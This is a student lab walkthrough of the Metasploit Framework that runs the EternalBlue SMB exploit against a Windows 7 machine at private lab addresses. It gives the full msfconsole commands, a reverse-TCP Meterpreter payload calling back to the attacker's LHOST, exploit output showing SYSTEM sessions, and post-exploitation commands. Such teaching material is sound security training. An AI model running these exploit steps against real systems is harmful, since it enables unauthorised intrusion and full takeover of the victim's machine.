SECURITY WALKTHROUGH <Metasploit>

Submitted to: << sprints >>

Security Analyst: << Ali Mohamed Abdelfatah >>
Security Analyst: << Mohamed Ahmed Fathy>>
Security Analyst: << Tarek Ayman Hassan>>
Security Analyst: << Ali Samy Gomaa>>
Security Analyst: << Zyad Mohamed Hagag>>

Metasploit is the most widely used exploitation framework. Metasploit is a powerful tool that can support all phases of a penetration testing engagement, from information gathering to post-exploitation.

Metasploit has two main versions:

- **Metasploit Pro**: The commercial version that facilitates the automation and management of tasks. This version has a graphical user interface (GUI).
- **Metasploit Framework**: The open-source version that works from the command line. This room will focus on this version, installed on the AttackBox and most commonly used penetration testing Linux distributions.

The main components of the Metasploit Framework can be summarized as follows;

- **msfconsole**: The main command-line interface.
- **Modules**: supporting modules such as exploits, scanners, payloads, etc.
- **Tools**: Stand-alone tools that will help vulnerability research, vulnerability assessment, or penetration testing. Some of these tools are msfvenom, pattern_create and pattern_offset. We will cover msfvenom within this module, but pattern_create and pattern_offset are tools useful in exploit development which is beyond the scope of this module.

how to use Metasploit

Launching Metasploit

Once launched, you will see the command line changes to msf6 (or msf5 depending on the installed version of Metasploit). The Metasploit console (msfconsole) can be used just like a regular command-line shell, as you can see below. The first command is `ls` which lists the contents of the folder from which Metasploit was launched using the `msfconsole` command.

It is followed by a `ping` sent to Google's DNS IP address (8.8.8.8). As we operate from the AttackBox, which is

Linux we had to add the `-c 1` option, so only a single ping was sent. Otherwise, the ping process would

continue until it is stopped using `CTRL+C`.

```
msf6 > ls
[*] exec: ls

burpsuite_community_linux_v2021_8_1.sh  Instructions  Scripts
Desktop                 Pictures      thinclient_drives
Downloads               Postman       Tools
msf6 > ping -c 1 8.8.8.8
[*] exec: ping -c 1 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=109 time=1.33 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.335/1.335/1.335/0.000 ms
msf6 >
```

Search for the Exploit

```
msf6 > search eternalblue
```

The search will display available modules related to "EternalBlue." Look for the `exploit/windows/smb/ms17_010_eternalblue` module.

Select the Exploit

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
```

The `exploit` command can be used without any parameters or using the "`-z`" parameter.
The `exploit -z` command will run the exploit and background the session as soon as it opens.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.44.70:4444
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 2 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

You can override any set parameter using the set command again with a different value. You can also clear any parameter value using the `unset` command or clear all set parameters with the `unset all` command.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Flushing datastore...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Display Required Options

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
```

Output

```
Module options (exploit/windows/smb/ms17_010_eternalblue):

Name           Current Setting  Required  Description
----           ---------------  --------  -----------
RHOSTS                          yes       The target host(s)
RPORT          445              yes       The target port (TCP)
```

Set Target IP (RHOSTS)

To set the target system's IP address, which is required for launching the exploit. Replace `10.10.165.39` with the actual IP of the target machine.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.165.39
```

the output

```
Module options (exploit/windows/smb/ms17_010_eternalblue):

Name           Current Setting  Required  Description
----           ---------------  --------  -----------
RHOSTS         10.10.165.39     yes       The target host(s)
RPORT          445              yes       The target port (TCP)
```

Set Local IP (LHOST)

to set your own IP address (the attacker's machine), which will be used by the payload to connect back to you.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.44.70
```

Set Payload

By default, Metasploit will use the `windows/x64/meterpreter/reverse_tcp` payload with the EternalBlue exploit.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
```

To select the default payload msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD

windows/x64/meterpreter/reverse_tcp

Launch the Exploit

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

This command starts the exploit and attempts to execute the payload on the target. If successful, you'll get a Meterpreter session.

```
[*] Started reverse TCP handler on 10.10.44.70:4444
[*] 10.10.165.39:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.165.39:445 - Host is likely VULNERABLE to MS17-010!
[*] Sending exploit packet...
[*] Meterpreter session 1 opened (10.10.44.70:4444 -> 10.10.165.39:49157)
```

Interact with the Target (Meterpreter)

If the exploit is successful, a Meterpreter session will open:

```
[*] Meterpreter session 1 opened (10.10.44.70:4444 -> 10.10.165.39:49186)
```

To interact with the target system, use:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
```

Post-Exploitation

- **Get system info:**

```
meterpreter > sysinfo
```

- **Get a shell on the target:**

```
meterpreter > shell
```

- **List active processes:**

```
meterpreter > ps
```

- **Background the session:**

```
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

View Active Session

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 >
```

To interact with any session, you can use the `sessions -i` command followed by the desired session number.

```
msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

Clean Up

```
meterpreter > exit
```